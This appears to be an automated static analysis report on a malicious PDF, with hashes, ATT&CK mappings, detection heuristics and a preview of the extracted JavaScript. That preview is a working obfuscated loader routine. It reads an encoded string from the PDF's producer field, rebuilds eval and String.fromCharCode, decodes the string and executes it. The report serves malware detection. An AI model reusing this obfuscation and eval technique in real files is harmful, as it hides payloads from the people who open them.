Malicious PDF — malware analysis report

Static analysis result for SHA-256 145333a4baccee90…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 7f73c5f6528b47db3a2088fc3e82534d SHA-1: 0ca384e382ed2bb823a99b47d6fb703cb1ed8980 SHA-256: 145333a4baccee900f3642748321b4274374b08bbf33d4e448834ee8a5f068e5
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs a string and executes it, likely to download and run a secondary payload. The ML classifier strongly indicates maliciousness, and the presence of JavaScript points to T1059.007. Given it's a PDF, T1566.001 is a likely initial access vector.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB054 487 bytes
SHA-256: 1351feaed66b2c2f16180d5516af7cdaefcf85d21056fa60c53ed057a3ed6882
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[1],t[0]);
e=v[v]()[s];
odchi=e(v[4]+'i'.concat(v[4],t));
q=odchi[v](a.length-6,a.length+2);
iwc=e(v[0].toUpperCase().concat(v[4],'r','ing.f',q[4],a[6],q));
q=odchi[v](t.length+12)[e(v[0]+'u'+'bjec'+v[4])]('c');
k=q[t[0]+'en'.concat('gth')];
i=t.length-2;
while(i!=k){
	xvchq = 1*(q[i]);
	i++;
	xvchq -= (-1)*(q[i]);
	s2 = s2.concat(iwc(xvchq));
	i++;
}
e(s2);

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